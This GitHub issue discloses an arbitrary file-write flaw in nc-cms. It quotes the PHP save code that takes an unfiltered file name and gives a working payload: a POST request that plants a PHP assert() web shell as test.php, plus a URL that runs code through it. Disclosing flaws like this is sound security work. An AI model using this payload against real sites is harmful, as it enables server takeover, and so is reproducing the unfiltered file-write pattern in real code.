New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is an vulnerability in the filesystem that can get a webshell #14

Open
jadacheng opened this Issue Jan 29, 2019 · 0 comments

Comments

Projects
None yet
1 participant
@jadacheng
Copy link

jadacheng commented Jan 29, 2019

Hello, I found that this cms may have some security problem(use default file storage)
Source:
./nc-cms/system/lib/storage/Filesystem.php:13-19

   function ContentSave($name, $data)
{
	$path = NC_BASEPATH.'/../content/'.$name;
	$fh = fopen('content/'.$name, 'w') or die(NCUtility::Error("Could not open file: ".$name.". Make sure that this server has read and write permissions  the /nc-cms/content folder."));
	fwrite($fh, $data);
	fclose($fh);
}

./nc-cms/system/lib/NCCms.class.php:382-394

else if($action == 'save')
	{
		$this->UserCheck();

		if(isset($_GET['ref'])) // Required GET data.
		{
			if(isset($_POST['name']) && isset($_POST['editordata'])) // Required POST data.
			{
				$this->storage->ContentSave($_POST['name'], $_POST['editordata']);
			}
			header('Location: '.$_GET['ref']);
			exit();
		}

the file name directly controlled by the user without filtering

payload:
http://localhost/nc-cms-master/nc-cms/index.php?action=save&ref=123 [POST]name=test.php&editordata=<?php assert($_GET['t']);?>

exploit:
http://localhost/nc-cms-master/nc-cms/content/test.php?t=phpinfo();
1548729850 1

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment